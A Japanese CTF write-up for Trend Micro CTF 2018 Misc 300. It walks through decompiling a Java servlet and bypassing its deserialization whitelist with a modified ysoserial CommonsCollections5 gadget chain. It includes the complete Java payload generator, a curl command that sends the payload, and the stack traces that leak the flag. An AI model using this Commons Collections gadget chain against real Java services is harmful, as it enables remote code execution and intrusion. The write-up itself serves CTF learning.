Trend Micro CTF 2018 - Misc 300
問題文
The flag marshal has falsely imprisoned a flag for being a deserial killer. Your mission is simple, break the flag out of the marshal's jail (http://theflagmarshal.us-east-1.elasticbeanstalk.com/). In addition to the bad puns, you seem to have stumbled upon another clue, blueprint.war.
writeup
問題文から与えられたのは、URLとwarファイル。
URLにアクセスしても、檻に入ったフラグの画像のみ。
warファイルの調査
warファイルを、jd-guiで読む。
- Flag.class
package com.trendmicro.jail; import java.io.Serializable; public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
getFlagメソッドを呼ぶと、Flag文字列をメッセージにして例外を投げる。
よって、getFlagメソッドを呼ぶことがができれば、Flag文字列がStackTraceに出力されると思われる。
- Server.class
package com.trendmicro; import java.io.IOException; import java.io.ObjectInputStream; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet({"/jail"}) public class Server extends HttpServlet { private static final long serialVersionUID = 1L; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } } }
/jail
が受け取ったリクエストデータから、シリアライズされたオブジェクトのバイナリを受け取る。バイナリをデシリアライズしてPersonクラスにCastし、name
フィールドをメッセージ表示する。
- Person.class
package com.trendmicro; import java.io.Serializable; public class Person implements Serializable { public String name; public Person(String name) { this.name = name; } }
name
フィールドのみ持つデータクラス。
- CustomOIS.class
package com.trendmicro; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectStreamClass; import java.util.Arrays; import java.util.List; import javax.servlet.ServletInputStream; public class CustomOIS extends ObjectInputStream { private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" }; public CustomOIS(ServletInputStream is) throws IOException { super(is); } public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); } }
ObjectInputStream
を継承したクラス。
resolveClass
メソッドをオーバーライドし、whitelistでデシリアライズ可能なオブジェクトの制限をかけている。
- commons-collection-3.1.jar
Apache Commonsのライブラリ。以下の脆弱性に該当するバージョン。
Apache Commonsのcollectionsの脆弱性に関連するリンク集をまとめてみた。 - piyolog
攻略
commons-collection-3.1.jar
が持つ脆弱性は、オブジェクト内にオブジェクトをデシリアライズするタイミングでリフレクションを実行することで、任意のクラスのメソッドを実行できてしまう脆弱性のようだ。
Exploitのソースをいくつか読む。
[Java] Commons Collections の「リモートから任意のコマンドが実行できる脆弱性」のお勉強
Exploitのソースは、Runtime
クラスのexec
メソッドを呼んで任意のコマンドを実行しているが、この問題はFlag
クラスのgetFlag
メソッドを呼べれば勝ち。
まずは、シンプルにシリアライズしたオブジェクトをサーバに投げる方法を確認しておく。シリアライズしたオブジェクトをファイルに出力するJavaソースは以下。
package com.trendmicro; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class TestObjectGen { public static void main(String args[]) throws Exception { String path = "Person.ser"; FileOutputStream fout = new FileOutputStream(path); ObjectOutputStream oos = new ObjectOutputStream(fout); oos.writeObject(new Person("hoge")); oos.close(); FileInputStream fis = new FileInputStream(path); ObjectInputStream ois = new ObjectInputStream(fis); Person person = (Person) ois.readObject(); System.out.println(person.name); ois.close(); } }
curlでPerson.ser
を/jail
に送信する。
root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Person.ser Sorry hoge. I cannot let you have the Flag!.
hoge
と出たので成功。
Exploitのソースを改造し、呼び出すクラス・メソッドだけ変えてもうまくいかない。シリアライズしているInvocationHandler
クラスは、CustomOIS
のwhitelistに入っていないことが原因。同じ原理であれば別のクラスでも実行できるということなので、他のExploitのソースを探す。
Javaのシリアライズ系のToolといえばysoserial。
こちらのpayloadを漁ると、CommonsCollections5.java
で使用しているBadAttributeValueExpException
が、whitelistに入っている。これだ!
ysoserial/CommonsCollections5.java at master · frohoff/ysoserial · GitHub
Flag.getFlag()
を呼ぶように改造する。
package com.trendmicro; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import com.trendmicro.jail.Flag; public class PayloadObjectGen { public static void main(String args[]) throws Exception { String path = "Payload.ser"; FileOutputStream fout = new FileOutputStream(path); ObjectOutputStream oos = new ObjectOutputStream(fout); oos.writeObject(getObject()); oos.close(); FileInputStream fis = new FileInputStream(path); ObjectInputStream ois = new ObjectInputStream(fis); String nameFromDisk = (String) ois.readObject(); System.out.println(nameFromDisk); ois.close(); } public static BadAttributeValueExpException getObject() throws Exception { final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val; } }
試しに実行する。
Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131) at javax.management.BadAttributeValueExpException.readObject(Unknown Source) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at java.io.ObjectStreamClass.invokeReadObject(Unknown Source) at java.io.ObjectInputStream.readSerialData(Unknown Source) at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source) at java.io.ObjectInputStream.readObject0(Unknown Source) at java.io.ObjectInputStream.readObject(Unknown Source) at com.trendmicro.PayloadObjectGen.main(PayloadObjectGen.java:35) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125) ... 15 more Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) ... 20 more Caused by: java.lang.Exception: <FLAG GOES HERE>★★★ at com.trendmicro.jail.Flag.getFlag(Flag.java:9) ... 24 more
デシリアライズのタイミングで例外が発生し、StackTraceに<FLAG GOES HERE>
が表示された!
curlでサーバに送信する。
root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Payload.ser org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2177) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2068) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1572) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:430) at com.trendmicro.Server.doPost(Server.java:31) at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:685) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:800) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1471) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125) ... 40 more Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) ... 45 more Caused by: java.lang.Exception: TMCTF{15nuck9astTheF1agMarsha12day}★★★ at com.trendmicro.jail.Flag.getFlag(Flag.java:10) ... 49 more
フラグゲット。
TMCTF{15nuck9astTheF1agMarsha12day}